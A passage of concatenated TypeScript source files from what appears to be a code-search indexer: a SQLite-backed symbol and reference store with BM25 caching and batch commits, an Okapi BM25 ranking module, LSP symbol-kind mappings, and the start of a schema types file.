the intended mutation.\n * Do not move this inside the retry closure.\n */\n private invalidateBm25(): void {\n this.bm25Dirty = true;\n this.bm25Cache = null;\n }\n\n /**\n * Return the cached full-corpus BM25 index, rebuilding it only when the\n * symbols table has been mutated since the last build. The full-corpus IDF\n * is more correct than the old per-query candidate-subset IDF, and the\n * amortized build cost drops from O(symbols \u00D7 tokens) per search to once\n * per write batch.\n *\n * Note: the first call after a long idle (or on a freshly opened store)\n * pays the full corpus rebuild synchronously on the search path. For a\n * 5 500+ symbol corpus this is a visible one-time latency spike.\n */\n private getOrBuildBm25(): Bm25Index {\n if (this.bm25Cache && !this.bm25Dirty) return this.bm25Cache;\n const docs = this.getAllIndexable();\n this.bm25Cache = buildBm25Index(docs);\n this.bm25Dirty = false;\n return this.bm25Cache;\n }\n\n /** Legacy ranked path: LIKE candidates + in-process BM25 + JS snippets. */\n private searchRankedFallback(\n query: string,\n filter: WriterSearchFilter | undefined,\n limit: number,\n ): { results: SearchResult[]; total: number } {\n // Empty query = filtered listing: push LIMIT into SQL so a 10k-symbol\n // corpus never materializes fully just to take the first N rows.\n if (!query.trim()) {\n const total = this.countSearch(query, filter);\n if (total === 0) return { results: [], total: 0 };\n return { results: this.search(query, filter, { limit }), total };\n }\n\n const candidates = this.search(query, filter);\n if (candidates.length === 0) return { results: [], total: 0 };\n\n const candidateById = new Map(candidates.map((c) => [c.id, c]));\n // Use the cached full-corpus BM25 index instead of rebuilding from the\n // LIKE candidate subset on every query. The filter restricts scoring to\n // candidates; full-corpus IDF is more correct than subset IDF.\n const bm25 = this.getOrBuildBm25();\n const scored = bm25.score(query, (id) => candidateById.has(id));\n const q = query.trim().toLowerCase();\n const rank = (id: number): number => {\n const name = candidateById.get(id)?.name.toLowerCase() ?? '';\n if (name === q) return 0;\n if (name.startsWith(q)) return 1;\n return 2;\n };\n scored.sort((a, b) => {\n const rankDiff = rank(a.id) - rank(b.id);\n if (rankDiff !== 0) return rankDiff;\n const scoreDiff = b.score - a.score;\n if (scoreDiff !== 0) return scoreDiff;\n const left = expectDefined(candidateById.get(a.id));\n const right = expectDefined(candidateById.get(b.id));\n return (\n left.name.localeCompare(right.name) ||\n left.file.localeCompare(right.file) ||\n left.line - right.line ||\n left.col - right.col ||\n left.id - right.id\n );\n });\n const qTokens = tokenise(query);\n\n const results = scored.slice(0, limit).map(({ id, score }) => {\n const c = expectDefined(candidateById.get(id));\n return { ...c, score, snippet: bm25.extractSnippet(id, qTokens) };\n });\n return { results, total: candidates.length };\n }\n\n getAllIndexable(): Array<{ id: number; text: string }> {\n return getAllIndexableWithStatement((sql) => this.stmt(sql));\n }\n\n /**\n * Largest symbol id currently in the table (0 when empty). New ids must be\n * allocated from this, NOT from `COUNT(*)`: incremental reindexes delete a\n * changed file's rows, so the row count drops below the max id and a\n * count-based id would collide with a surviving row (UNIQUE constraint on\n * `symbols.id`). Ids may have gaps \u2014 that is fine.\n */\n getMaxSymbolId(): number {\n return getMaxSymbolIdWithStatement((sql) => this.stmt(sql));\n }\n\n // \u2500\u2500\u2500 Stats \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n getStats(): IndexStats {\n return getStatsWithStatement((sql) => this.stmt(sql), this.indexDir);\n }\n\n setLastIndexed(ts: number): void {\n this.runWithRetry(() => {\n this.stmt(\"INSERT OR REPLACE INTO metadata(key, value) VALUES('last_indexed', ?)\").run(\n String(ts),\n );\n });\n }\n\n getMetadata(key: string): string | undefined {\n return getMetadataWithStatement((sql) => this.stmt(sql), key);\n }\n\n setMetadata(key: string, value: string): void {\n this.runWithRetry(() => {\n this.stmt('INSERT OR REPLACE INTO metadata(key, value) VALUES(?, ?)').run(key, value);\n });\n }\n\n clearAll(): void {\n this.invalidateBm25();\n this.runWithRetry(() => {\n this.db.exec('BEGIN IMMEDIATE');\n try {\n // DROP+CREATE is O(1) page-truncation vs DELETE's full-table scan.\n // Force-rebuilds (schema version change, manual /codebase-reindex)\n // were spending hundreds of ms on row-by-row deletion of thousands of\n // symbols and refs. DROP is instant regardless of table size.\n this.db.exec('DROP TABLE IF EXISTS refs');\n this.db.exec('DROP TABLE IF EXISTS symbols');\n this.db.exec('DROP TABLE IF EXISTS files');\n this.db.exec('DROP TABLE IF EXISTS metadata');\n if (this.ftsAvailable) this.db.exec('DROP TABLE IF EXISTS symbols_fts');\n this.db.exec('COMMIT');\n // Clear statement cache \u2014 prepared stmts reference the now-dropped tables.\n this.stmtCache.clear();\n this.initSchema();\n // Reset the symbol-id counter to 1 so repeated forced rebuilds\n // don't allocate from a monotonically growing id namespace.\n this.stmt('INSERT OR REPLACE INTO metadata(key, value) VALUES (?, ?)').run(\n IndexStore.NEXT_SYMBOL_ID_KEY,\n '1',\n );\n } catch (err) {\n this.db.exec('ROLLBACK');\n throw err;\n }\n });\n }\n\n // \u2500\u2500\u2500 Ref CRUD \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n /**\n * Insert cross-references for a given source symbol id.\n * Replaces any existing refs from the same source (idempotent on re-index).\n */\n insertRefs(fromId: number, refs: Ref[]): void {\n this.runWithRetry(() => {\n // Delete old refs from this symbol (handles re-index)\n this.stmt('DELETE FROM refs WHERE from_id = ?').run(fromId);\n if (refs.length === 0) return;\n bulkInsertRefsWithStatement(\n (sql) => this.stmt(sql),\n IndexStore.MAX_SQL_VARS,\n refs.map((ref) => ({ ...ref, fromId })),\n );\n });\n }\n\n /**\n * Bulk-insert refs for many source symbols in a single transaction.\n *\n * Unlike {@link insertRefs} this does NOT delete per source id \u2014 the caller\n * (the indexer) has already cleared stale refs for the file via\n * {@link deleteRefsForFile}, so the per-source DELETE would be redundant work\n * repeated once per symbol. One transaction for the whole file instead of one\n * per symbol turns an O(symbols) transaction count into O(1).\n *\n * Each ref's own {@link Ref.fromId} is used; pass an empty array to no-op.\n */\n insertRefsBatch(refs: Ref[]): void {\n if (refs.length === 0) return;\n this.runWithRetry(() => {\n bulkInsertRefsWithStatement((sql) => this.stmt(sql), IndexStore.MAX_SQL_VARS, refs);\n });\n }\n\n /**\n * Commit a batch of file-level symbol/refs/upserts in a single transaction.\n *\n * Used by the indexer to amortize SQLite commit overhead across many files.\n * Before this, the indexer issued one transaction per file (BEGIN IMMEDIATE\n * for symbols, plus per-file deletes and an upsertFile call), so a 20-file\n * parallel batch cost ~5+ transactions \u00D7 20 files = 100+ commits. With\n * this entry point we do exactly one BEGIN/COMMIT per parallel batch.\n *\n * Each entry must already be a fully-parsed FileSymbols (symbols + refs).\n * The caller is responsible for the per-file prefix accounting\n * (refsByLine \u2192 flat list with `fromId` populated). `deleteForFiles` lets\n * the caller clear stale symbols/refs for any files being re-indexed before\n * the inserts run (required to keep refs \u2192 symbols FK invariants).\n *\n * Returns the symbols back with their assigned `id` (same shape as\n * {@link insertSymbols}) so callers can build final per-file results.\n */\n commitBatch(\n entries: Array<{\n file: string;\n lang: SymbolLang;\n symbols: IndexSymbol[];\n refs: Ref[];\n mtimeMs: number;\n symbolCount: number;\n }>,\n options: { deleteForFiles?: string[] | undefined } = {},\n ): IndexSymbol[] {\n if (entries.length === 0 && (options.deleteForFiles?.length ?? 0) === 0) {\n return [];\n }\n this.invalidateBm25();\n return this.runWithRetry(() => {\n this.db.exec('BEGIN IMMEDIATE');\n try {\n const affectedNames = new Set<string>();\n for (const entry of entries) {\n for (const symbol of entry.symbols) affectedNames.add(symbol.name);\n for (const ref of entry.refs) affectedNames.add(ref.toName);\n }\n // 1) Clear stale refs+symbols for any files being re-indexed.\n if (options.deleteForFiles && options.deleteForFiles.length > 0) {\n const placeholders = options.deleteForFiles.map(() => '?').join(',');\n for (const name of this.invalidateIncomingRefsForFiles(options.deleteForFiles)) {\n affectedNames.add(name);\n }\n if (this.ftsAvailable) {\n this.stmt(\n `DELETE FROM symbols_fts WHERE rowid IN (SELECT id FROM symbols WHERE file IN (${placeholders}))`,\n ).run(...options.deleteForFiles);\n }\n // Refs first (FK direction: refs.from_id \u2192 symbols.id).\n this.stmt(\n `DELETE FROM refs WHERE from_id IN (SELECT id FROM symbols WHERE file IN (${placeholders}))`,\n ).run(...options.deleteForFiles);\n this.stmt(`DELETE FROM symbols WHERE file IN (${placeholders})`).run(\n ...options.deleteForFiles,\n );\n }\n\n // 2) Assign ids + multi-row insert symbols (+ FTS).\n const totalSymbols = entries.reduce((n, e) => n + e.symbols.length, 0);\n let nextId = this.allocateSymbolIds(totalSymbols);\n\n const allInserted: IndexSymbol[] = [];\n const refsToInsert: Ref[] = [];\n const bulkSyms: BulkSymbolRow[] = [];\n const ftsRows: Array<{ id: number; text: string }> = [];\n\n for (const entry of entries) {\n const insertedForEntry: IndexSymbol[] = [];\n for (const s of entry.symbols) {\n const id = nextId++;\n bulkSyms.push({\n id,\n lang: s.lang,\n kind: s.kind,\n name: s.name,\n file: s.file,\n line: s.line,\n col: s.col,\n signature: s.signature,\n docComment: s.docComment,\n scope: s.scope,\n text: s.text,\n });\n if (this.ftsAvailable) {\n ftsRows.push({\n id,\n text: buildIndexableText(s.name, s.signature, s.docComment),\n });\n }\n const inserted = { ...s, id };\n allInserted.push(inserted);\n insertedForEntry.push(inserted);\n }\n refsToInsert.push(...assignRefsToSymbols(entry.refs, insertedForEntry));\n }\n\n bulkInsertSymbolsWithStatement((sql) => this.stmt(sql), IndexStore.MAX_SQL_VARS, bulkSyms);\n bulkInsertFtsWithStatement(\n (sql) => this.stmt(sql),\n IndexStore.MAX_SQL_VARS,\n this.ftsAvailable,\n ftsRows,\n );\n\n // 3) Multi-row insert all refs.\n bulkInsertRefsWithStatement((sql) => this.stmt(sql), IndexStore.MAX_SQL_VARS, refsToInsert);\n\n // 4) Upsert file metadata for every entry (small N \u2014 single-row is fine).\n const upsertStmt = this.stmt(\n `INSERT INTO files(file, lang, mtime_ms, symbol_count, last_indexed)\n VALUES (?, ?, ?, ?, ?)\n ON CONFLICT(file) DO UPDATE SET\n lang = excluded.lang,\n mtime_ms = excluded.mtime_ms,\n symbol_count = excluded.symbol_count,\n last_indexed = excluded.last_indexed`,\n );\n const now = Date.now();\n for (const entry of entries) {\n upsertStmt.run(entry.file, entry.lang, entry.mtimeMs, entry.symbolCount, now);\n }\n\n this.resolveRefsForNamesUnsafe(affectedNames);\n this.db.exec('COMMIT');\n return allInserted;\n } catch (err) {\n this.db.exec('ROLLBACK');\n throw err;\n }\n });\n }\n\n /**\n * Delete all refs whose source symbols are in a given file.\n * Used when re-indexing a file to clear stale refs.\n */\n deleteRefsForFile(file: string): void {\n this.runWithRetry(() => {\n this.stmt('DELETE FROM refs WHERE from_id IN (SELECT id FROM symbols WHERE file = ?)').run(\n file,\n );\n });\n }\n\n /**\n * Resolve `to_name` \u2192 `to_id` for all refs that have a name but no id.\n * Call this after all symbols have been inserted to fill in cross-references.\n *\n * Single statement: the `to_name IN (SELECT name FROM symbols)` guard restricts\n * the UPDATE to refs that will actually resolve, so `.changes` counts only refs\n * that found a target \u2014 matching the previous per-row loop's return value.\n */\n resolveRefs(): number {\n return this.runWithRetry(() => {\n // Prefer UPDATE-FROM with a pre-aggregated name\u2192id map (SQLite \u2265 3.33).\n // One hash join instead of a correlated subquery per unresolved row.\n // MIN(id) matches the previous LIMIT 1 / arbitrary-first semantics when\n // multiple symbols share a name.\n try {\n const result = this.stmt(\n `UPDATE refs\n SET to_id = s.id\n FROM (\n SELECT name, MIN(id) AS id FROM symbols GROUP BY name\n ) AS s\n WHERE refs.to_id IS NULL\n AND refs.to_name IS NOT NULL\n AND refs.to_name = s.name`,\n ).run() as { changes?: number };\n return result.changes ?? 0;\n } catch {\n const result = this.stmt(\n `UPDATE refs SET to_id = (\n SELECT id FROM symbols WHERE name = refs.to_name LIMIT 1\n ) WHERE to_id IS NULL AND to_name IS NOT NULL\n AND to_name IN (SELECT name FROM symbols)`,\n ).run() as { changes?: number };\n return result.changes ?? 0;\n }\n });\n }\n\n resolveRefsForNames(names: Iterable<string>): number {\n return this.runWithRetry(() => this.resolveRefsForNamesUnsafe(names));\n }\n\n /**\n * Clear symbols/refs for a file and mark it as indexed with zero symbols.\n * Used by the indexer for empty-parse results so three writes share one txn.\n */\n replaceEmptyFile(meta: FileMeta): void {\n this.invalidateBm25();\n this.runWithRetry(() => {\n this.db.exec('BEGIN IMMEDIATE');\n try {\n const affectedNames = this.invalidateIncomingRefsForFiles([meta.file]);\n if (this.ftsAvailable) {\n this.stmt(\n 'DELETE FROM symbols_fts WHERE rowid IN (SELECT id FROM symbols WHERE file_fk = ?)',\n ).run(meta.file);\n }\n this.stmt(\n 'DELETE FROM refs WHERE from_id IN (SELECT id FROM symbols WHERE file_fk = ?)',\n ).run(meta.file);\n this.stmt('DELETE FROM symbols WHERE file_fk = ?').run(meta.file);\n this.stmt(\n `INSERT INTO files(file, lang, mtime_ms, symbol_count, last_indexed)\n VALUES (?, ?, ?, ?, ?)\n ON CONFLICT(file) DO UPDATE SET\n lang = excluded.lang,\n mtime_ms = excluded.mtime_ms,\n symbol_count = excluded.symbol_count,\n last_indexed = excluded.last_indexed`,\n ).run(meta.file, meta.lang, meta.mtimeMs, meta.symbolCount, meta.lastIndexed);\n this.resolveRefsForNamesUnsafe(affectedNames);\n this.db.exec('COMMIT');\n } catch (err) {\n this.db.exec('ROLLBACK');\n throw err;\n }\n });\n }\n\n /** Best-effort query planner refresh after a large reindex. */\n optimize(): void {\n try {\n this.db.exec('PRAGMA optimize');\n } catch {\n /* optional */\n }\n }\n\n /**\n * Reclaim page churn left by repeated force rebuilds.\n *\n * SQLite's DROP/CREATE path makes rebuilds fast but leaves pages on the\n * freelist. Compact only large, materially sparse databases and only when the\n * caller is already on a full-index maintenance path.\n */\n compactIfNeeded(options: { minBytes?: number; minFreeRatio?: number } = {}): boolean {\n const minBytes = options.minBytes ?? 256 * 1024 * 1024;\n const minFreeRatio = options.minFreeRatio ?? 0.35;\n try {\n const pageCount = Number(\n (this.stmt('PRAGMA page_count').get() as { page_count?: number } | undefined)?.page_count ??\n 0,\n );\n const pageSize = Number(\n (this.stmt('PRAGMA page_size').get() as { page_size?: number } | undefined)?.page_size ?? 0,\n );\n const freePages = Number(\n (this.stmt('PRAGMA freelist_count').get() as { freelist_count?: number } | undefined)\n ?.freelist_count ?? 0,\n );\n if (\n pageCount <= 0 ||\n pageSize <= 0 ||\n pageCount * pageSize < minBytes ||\n freePages / pageCount < minFreeRatio\n ) {\n return false;\n }\n this.runWithRetry(() => {\n this.db.exec('PRAGMA wal_checkpoint(TRUNCATE)');\n this.db.exec('VACUUM');\n this.db.exec('PRAGMA wal_checkpoint(TRUNCATE)');\n });\n return true;\n } catch {\n // Compaction is maintenance, never a reason to fail a valid index run.\n return false;\n }\n }\n\n /**\n * Find all references TO a given symbol (who calls / uses this symbol?).\n */\n findRefsTo(symbolId: number): Ref[] {\n return findRefsToWithStatement((sql) => this.stmt(sql), symbolId);\n }\n\n /**\n * Find all references FROM a given symbol (what does this symbol call/use?).\n */\n findRefsFrom(symbolId: number): Ref[] {\n return findRefsFromWithStatement((sql) => this.stmt(sql), symbolId);\n }\n\n // \u2500\u2500\u2500 CodeMap graph aggregation \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n /**\n * Package-level graph: each workspace package is a node; edges are derived\n * from cross-package symbol references (a symbol in package A references a\n * symbol resolved in package B). Node metadata includes symbol/file counts.\n */\n getPackageGraph(): CodeMapGraph {\n return getPackageGraphWithStatement((sql) => this.stmt(sql));\n }\n\n /**\n * File-level graph for a single package: each file is a node; edges are\n * derived from cross-file symbol references within the package.\n */\n getFileGraph(packageFilter: string): CodeMapGraph {\n return getFileGraphWithStatement((sql) => this.stmt(sql), packageFilter);\n }\n\n /**\n * Symbol-level graph for a single file: each symbol is a node; edges are\n * derived from intra-file and cross-file symbol references (who calls whom).\n */\n getSymbolGraph(fileFilter: string): CodeMapGraph {\n return getSymbolGraphWithStatement((sql) => this.stmt(sql), fileFilter);\n }\n\n /**\n * Returns every symbol in the index. Used by dead-code analysis to\n * build the full symbol universe for the reachability scan.\n */\n getAllSymbols(): Array<{\n id: number;\n name: string;\n file: string;\n kind: SymbolKind;\n line: number;\n }> {\n return (\n this.stmt('SELECT id, name, file, kind, line FROM symbols ORDER BY id').all() as Array<{\n id: number;\n name: string;\n file: string;\n kind: string;\n line: number;\n }>\n ).map((r) => ({ ...r, kind: r.kind as SymbolKind }));\n }\n\n /**\n * Returns every resolved reference (to_id IS NOT NULL). Used by\n * dead-code analysis to build the consumer-ship graph. Refs whose\n * target symbol id is null (unresolved imports) are excluded.\n */\n getAllResolvedRefs(): Array<{\n fromId: number;\n toId: number;\n callType: string;\n }> {\n return this.stmt(\n 'SELECT from_id AS fromId, to_id AS toId, call_type AS callType FROM refs WHERE to_id IS NOT NULL',\n ).all() as Array<{ fromId: number; toId: number; callType: string }>;\n }\n\n /**\n * Returns ALL import refs (including unresolved) with their source-file\n * path and resolved target id. Used by the dead-code scan's file-level\n * graph traversal to handle barrel-only entry points where no symbol\n * carries the ref.\n *\n * Refs whose `from_id` doesn't match a known symbol (e.g. pure-barrel\n * files with no declarations) will have `sourceFile === null`.\n */\n getAllImportRefs(): Array<{\n /** Source-file path (null when the owning symbol can't be resolved). */\n sourceFile: string | null;\n toName: string;\n /** Resolved target symbol id (null when the name couldn't be matched). */\n toId: number | null;\n callType: string;\n line: number;\n }> {\n return this.stmt(\n `SELECT s.file AS sourceFile, r.to_name AS toName, r.to_id AS toId,\n r.call_type AS callType, r.line\n FROM refs r\n LEFT JOIN symbols s ON r.from_id = s.id\n WHERE r.call_type = 'import'\n ORDER BY r.line`,\n ).all() as Array<{\n sourceFile: string | null;\n toName: string;\n toId: number | null;\n callType: string;\n line: number;\n }>;\n }\n\n close(): void {\n // Drop cached StatementSync references before closing; db.close() finalizes\n // them, and keeping the map would retain handles to a dead connection.\n this.stmtCache.clear();\n // Release the BM25 cache and mark dirty so a hypothetical reopen starts\n // from a clean slate instead of serving a stale index.\n this.bm25Dirty = true;\n this.bm25Cache = null;\n try {\n this.db.close();\n } catch {\n /* already closed */\n }\n }\n}\n\n/** Process-wide singleton pool. */\nexport const indexStorePool = new StorePool(\n (projectRoot: string, opts?: { indexDir?: string | undefined }) =>\n new IndexStore(projectRoot, opts),\n);\n", "/**\n * BM25 ranking implementation \u2014 no external dependencies.\n *\n * Algorithm: Okapi BM25 with standard parameters (k1=1.5, b=0.75).\n */\n\nconst K1 = 1.5;\nconst B = 0.75;\n\ninterface Bm25Doc {\n id: number;\n tokens: string[];\n raw: string;\n len: number;\n}\n\n/** Tokenise a string into lowercase word tokens. */\nexport function tokenise(text: string): string[] {\n // Preserve all Unicode letters + digits + $ + '. Split on everything else.\n const sanitised = text.replace(/[^\\p{L}\\p{N}$'_]/gu, ' ').replace(/_/g, ' ');\n return sanitised.toLowerCase().split(' ').filter(Boolean);\n}\n\nexport interface IndexableDoc {\n id: number;\n text: string;\n}\n\n/**\n * Split a camelCase/SnakeCase identifier into its constituent words.\n * e.g. \"complexOperation\" \u2192 \"complex Operation\"\n * \"foo_bar_baz\" \u2192 \"foo bar baz\"\n * This allows a query for \"complex\" to match \"complexOperation\"\n * via the shared \"complex\" token.\n */\nfunction splitName(name: string): string {\n return name\n // Split an acronym from the word that follows it: HTTPServer \u2192 HTTP Server.\n .replace(/([A-Z]+)([A-Z][a-z])/g, '$1 $2')\n .replace(/([a-z\\d])([A-Z])/g, '$1 $2')\n // Identifiers commonly encode versions/algorithms with digits.\n .replace(/([\\p{L}])(\\d)/gu, '$1 $2')\n .replace(/(\\d)([\\p{L}])/gu, '$1 $2')\n .replace(/[_-]+/g, ' ')\n .trim();\n}\n\n/**\n * Build indexable text for BM25 from a symbol's fields.\n * The name is split into camelCase/SnakeCase words so that queries\n * like \"complex\" match \"complexOperation\". The verbatim name is\n * also included for exact-match queries.\n */\nexport function buildIndexableText(name: string, signature: string, docComment: string): string {\n return [splitName(name), name, signature, docComment].filter(Boolean).join(' ');\n}\n\nexport function buildBm25Index(docs: IndexableDoc[]): Bm25Index {\n const documents: Bm25Doc[] = docs.map((d) => {\n const tokens = tokenise(d.text);\n return { id: d.id, tokens, raw: d.text, len: tokens.length };\n });\n\n const N = documents.length;\n const totalLen = documents.reduce((sum, d) => sum + d.len, 0);\n const avgLen = N === 0 ? 0 : totalLen / N;\n\n return new Bm25Index(documents, N, avgLen);\n}\n\nexport class Bm25Index {\n private readonly safeAvgLen: number;\n /** Lazily-built id\u2192doc index so getDoc is O(1) instead of an O(D) linear find. */\n private _byId: Map<number, Bm25Doc> | undefined;\n\n constructor(\n private documents: Bm25Doc[],\n private N: number,\n avgLen: number,\n ) {\n this.safeAvgLen = avgLen === 0 ? 1 : avgLen;\n }\n\n score(query: string, filter?: (id: number) => boolean): Array<{ id: number; score: number }> {\n const qTokens = tokenise(query);\n if (qTokens.length === 0) return [];\n\n // Precompute document frequency per query term once, outside the\n // per-document loop. The SQLite FTS path uses token-prefix matching;\n // we mirror that contract here so fallback ranking has identical recall.\n // Previously this was recomputed for every (document, term) pair \u2014\n // O(D\u00B2QT) \u2014 making large indexes (5500+ symbols) hit the 30s search\n // watchdog on every query.\n const dfByTerm = new Map<string, number>();\n for (const qTerm of qTokens) {\n let dfVal = 0;\n for (const candidate of this.documents) {\n if (candidate.tokens.some((t) => t.startsWith(qTerm))) dfVal++;\n }\n dfByTerm.set(qTerm, dfVal);\n }\n\n const results: Array<{ id: number; score: number }> = [];\n\n for (const doc of this.documents) {\n if (filter && !filter(doc.id)) continue;\n\n let docScore = 0;\n for (const qTerm of qTokens) {\n let tf = 0;\n for (const t of doc.tokens) {\n if (t.startsWith(qTerm)) tf++;\n }\n if (tf === 0) continue;\n\n const dfVal = dfByTerm.get(qTerm) ?? 0;\n if (dfVal === 0) continue;\n\n const idf = Math.log((this.N - dfVal + 0.5) / (dfVal + 0.5) + 1);\n const lenRatio = B * (doc.len / this.safeAvgLen);\n const tfComponent = (tf * (K1 + 1)) / (tf + K1 * (1 - B + lenRatio));\n\n docScore += idf * tfComponent;\n }\n\n if (docScore > 0) results.push({ id: doc.id, score: docScore });\n }\n\n return results;\n }\n\n getDoc(id: number): Bm25Doc | undefined {\n if (!this._byId) {\n this._byId = new Map(this.documents.map((d) => [d.id, d]));\n }\n return this._byId.get(id);\n }\n\n extractSnippet(docId: number, queryTokens: string[], radius = 40): string {\n const doc = this.getDoc(docId);\n if (!doc) return '';\n\n for (const tok of queryTokens) {\n const idx = doc.raw.toLowerCase().indexOf(tok);\n if (idx !== -1) {\n const start = Math.max(0, idx - radius);\n const end = Math.min(doc.raw.length, idx + tok.length + radius);\n const excerpt = doc.raw.slice(start, end);\n const ellipsis = '\\u2026';\n return (start > 0 ? ellipsis : '') + excerpt + (end < doc.raw.length ? ellipsis : '');\n }\n }\n return doc.raw.slice(0, radius * 2) + (doc.raw.length > radius * 2 ? '\\u2026' : '');\n }\n}\n", "/**\n * LSP SymbolKind mapping utilities.\n *\n * LSP SymbolKind numbers are defined by vscode-languageserver-protocol.\n * This module maps between LSP kind numbers and the internal SymbolKind taxonomy.\n */\n\nimport type { SymbolKind } from './schema.js';\n\n/**\n * LSP SymbolKind values (1\u201326) as defined by vscode-languageserver-protocol.\n */\nexport enum LSPSymbolKind {\n File = 1,\n Module = 2,\n Namespace = 3,\n Package = 4,\n Class = 5,\n Method = 6,\n Property = 7,\n Field = 8,\n Constructor = 9,\n Enum = 10,\n Interface = 11,\n Function = 12,\n Variable = 13,\n Constant = 14,\n String = 15,\n Number = 16,\n Boolean = 17,\n Array = 18,\n Object = 19,\n Key = 20,\n Null = 21,\n EnumMember = 22,\n Struct = 23,\n Event = 24,\n Operator = 25,\n TypeParameter = 26,\n}\n\n/**\n * Maps an LSP kind number to the corresponding internal SymbolKind.\n * Returns null if the LSP kind has no equivalent in the internal taxonomy.\n */\nexport function lspKindToInternalKind(k: number): SymbolKind | null {\n switch (k) {\n case LSPSymbolKind.Class: return 'class';\n case LSPSymbolKind.Method: return 'method';\n case LSPSymbolKind.Property:\n case LSPSymbolKind.Field: return 'property';\n case LSPSymbolKind.Constructor: return 'class';\n case LSPSymbolKind.Enum: return 'enum';\n case LSPSymbolKind.Interface: return 'interface';\n case LSPSymbolKind.Function: return 'function';\n case LSPSymbolKind.Variable: return 'var';\n case LSPSymbolKind.Constant: return 'const';\n case LSPSymbolKind.EnumMember: return 'enum';\n case LSPSymbolKind.TypeParameter:return 'type';\n case LSPSymbolKind.Namespace: return 'namespace';\n default: return null;\n }\n}\n\n/**\n * Maps an internal SymbolKind to the corresponding LSP kind number.\n * Returns null if the internal kind has no equivalent LSP kind.\n */\nexport function internalKindToLspKind(k: SymbolKind): number | null {\n switch (k) {\n case 'class': return LSPSymbolKind.Class;\n case 'method': return LSPSymbolKind.Method;\n case 'property': return LSPSymbolKind.Property;\n case 'function': return LSPSymbolKind.Function;\n case 'var': return LSPSymbolKind.Variable;\n case 'const': return LSPSymbolKind.Constant;\n case 'let': return LSPSymbolKind.Variable;\n case 'enum': return LSPSymbolKind.Enum;\n case 'interface': return LSPSymbolKind.Interface;\n case 'namespace': return LSPSymbolKind.Namespace;\n case 'type': return LSPSymbolKind.TypeParameter;\n // parameter and other internal-only kinds have no LSP equivalent\n default: return null;\n }\n}\n\n/**\n * Returns true if `k` is a valid LSP SymbolKind number (1\u201326).\n */\nexport function isLspKind(k: number): boolean {\n return Number.isInteger(k) && k >= 1 && k <= 26;\n}\n", "// \u2500\u2500\u2500 Symbol kind taxonomy \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n/**\n * Language a symbol belongs to.\n *\n * First-class parsers exist for TS/JS, Go, Python, Rust, JSON, YAML.\n * All other langs are still indexed via the generic regex extractor so\n * monorepos are never silently skipped just because a native toolchain\n * is missing. `'other'` covers unusual extensions / special filenames.\n */\nexport type SymbolLang =\n | 'ts'\n | 'js'\n | 'tsx'\n | 'jsx'\n | 'go'\n | 'py'\n | 'rs'\n | 'json'\n | 'yaml'\n | 'c'\n | 'cpp'\n | 'java'\n | 'csharp'\n | 'php'\n | 'ruby'\n | 'swift'\n | 'kotlin'\n | 'scala'\n | 'shell'\n | 'sql'\n | 'md'\n | 'toml'\n | 'html'\n | 'css'\n | 'vue'\n | 'svelte'\n | 'dart'\n | 'lua'\n | 'r'\n | 'proto'\n | 'graphql'\n | 'zig'\n | 'elixir'\n | 'haskell'\n | 'other';\n\n/** What kind of symbol this is. */\nexport type SymbolKind =\n | 'class'\n | 'interface'\n | 'enum'\n | 'type'\n | 'function'\n | 'method'\n | 'var'\n | 'const'\n | 'let'\n | 'property'\n | 'parameter'\n | 'namespace'\n | 'object' // JSON root object\n | 'literal' // scalar value in JSON/YAML\n | 'schema' // JSON Schema $ref/$schema entry\n // Rust-specific\n | 'struct'\n | 'trait'\n | 'impl'\n | 'static'\n | 'mod';\n\n/** A single indexed code symbol. */\nexport interface Symbol {\n id: number;\n lang: SymbolLang;\n kind: SymbolKind;\n name: string;\n file: string; // absolute path\n line: number; // 1-based\n col: number; // 0-based\n signature: string; // e.g. \"function foo(a: string): Promise<void>\"\n docComment: string; // JSDoc / docstring first line\n scope: string; // e.g. \"MyClass.method\" or module-level \"\"\n text: string; // concatenated searchable text: name + signature + docComment\n}\n\n/** Extracted symbols and cross-references for one file. */\nexport interface FileSymbols {\n file: string;\n lang: SymbolLang;\n symbols: Symbol[];\n refs?: Ref[] | undefined; // cross-references extracted from this file (optional for back-compat)\n mtimeMs: number;\n}\n\n/** Source file metadata tracked for incremental indexing. */\nexport interface FileMeta {\n file: string;\n lang: SymbolLang;\n mtimeMs: number;\n symbolCount: number;\n lastIndexed: number; // unix ms\n}\n\n/** Statistics about the index. */\nexport interface IndexStats {\n totalSymbols: number;\n totalFiles: number;\n byLang: Record<SymbolLang, number>;\n byKind: Record<SymbolKind, number>;\n indexPath: string;\n lastIndexed: number | null;\n sizeBytes: number;\n version: number;\n}\n\n/** Result of a search query. */\nexport interface SearchResult {\n id: number;\n name: string;\n kind: SymbolKind;\n lang: SymbolLang;\n file: string;\n line: number;\n col: number;\n signature: string;\n docComment: string;\n score: number;\n snippet: 